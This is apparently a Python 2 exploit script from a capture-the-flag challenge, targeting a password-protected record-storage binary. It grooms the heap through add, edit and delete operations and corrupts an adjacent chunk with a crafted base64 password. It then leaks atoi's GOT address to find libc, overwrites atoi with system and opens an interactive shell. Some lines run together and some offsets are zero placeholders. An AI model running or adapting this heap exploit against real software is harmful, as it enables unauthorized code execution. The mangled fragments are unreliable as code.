    rd_wr_int(io, "> ", 0)    
    if (content_size != -1):
        rd_wr_int(io, "> ", content_size)
        rd_wr_str(io, "> ", content)
        
def delete_record(io, name, passwd):
    menu_choice(io, 4)
    rd_wr_str(io, "> ", name)
    rd_wr_str(io, "> ", passwd)def pwn(io):

    #offset info
    if is_local:        #local
        offset_system = 0x0
        offset_binsh = 0x0
    else:        #remote 
        offset_system = 0x0
        offset_binsh = 0x0

    passwd = "deadbeef".encode("base64") + "\x00"
    add_record(io, "0"*0x10, passwd + "\n", 0x20-1, "test0\n");
    add_record(io, "1"*0x10, passwd + "\n", 0x210-1, "test1\n");
    add_record(io, "2"*0x10, passwd + "\n", 0x20-1, "test2\n");
    add_record(io, "3"*0x10, passwd + "\n", 0x20-1, "test2\n");
    add_record(io, "4"*0x10, passwd + "\n", 0x20-1, "test2\n");    
    
    #edit_record(io, "4"*0x10, passwd + "\n", 0x20-1, "test2\n");

    #io.gdb_hint()
    delete_record(io, "1"*0x10, passwd + "\n")    
    #io.gdb_hint()
    add_record(io, "1"*0x10, passwd + "\n", 0xb0-1, "test1\n");    
    #io.gdb_hint()
    #edit_record(io, "1"*0x10, passwd + "\n", 0x80, "a"*0x10 + "\n")
    edit_record(io, "2"*0x10, passwd + "\n", 0x58-1, "b"*0x10 + "\n")    
    #io.gdb_hint()
    edit_record(io, "3"*0x10, passwd + "\n", 0xf8-1, "c"*0x10 + "\n")    
    #io.gdb_hint()

    delete_record(io, "2"*0x10, passwd + "\n")    
    #io.gdb_hint()
    #t_auth = "1"*((0x78-1)*4/3 + 1) + l8(0xff) + "\x00\n"
    
    target_len = 0x58
    t_auth = ""
    t_auth += "@@@"*(target_len/3)
    t_auth += "@"*(target_len%3) + '\x31'
    t_auth = t_auth.encode("base64").replace("\n", "")
    t_auth = t_auth[:-1] + "\x00\n"

    #io.gdb_hint()
    add_record(io, "2"*0x10, t_auth, 0x20-1, "padding\n")  
      
    #io.gdb_hint()

    atoi_got                   = 0x0000000000602090
    
    offset_atoi                = 0x36e80
    offset_system              = 0x45390

    full_addr = 0x4019DA #full
    payload = ""
    payload += 'a'*0x100
    payload += '2'*0x10
    payload += l64(full_addr)
    payload += l64(atoi_got)
    payload += l32(0x100) + l32(0x1)[:-1]# + "\n"

    #io.gdb_hint()
    edit_record(io, "3"*0x10, passwd + "\n", 0x128 - 1, payload)

    passwd_new = "full\x00".encode("base64")
    io.gdb_hint()
    show_record(io, "2"*0x10, passwd_new + "\n")
    data = io.read_until("\n")[:-1]
    atoi_addr = d2v_x64(data)    
    print "atoi_addr:", hex(atoi_addr)
    io.gdb_hint()

    leak_addr = atoi_addr
    leak_offset = offset_atoi
    libc_base = leak_addr - leak_offset
    system_addr = libc_base + offset_system

    payload = ""
    payload += l64(system_addr)

    edit_record(io, "2"*0x10, passwd_new + "\n", 0x10, payload)

    rd_wr_str(io, "> ", "sh\n")    #io.gdb_hint()
    io.interact()    pass    io = get_io(target)
pwn(io)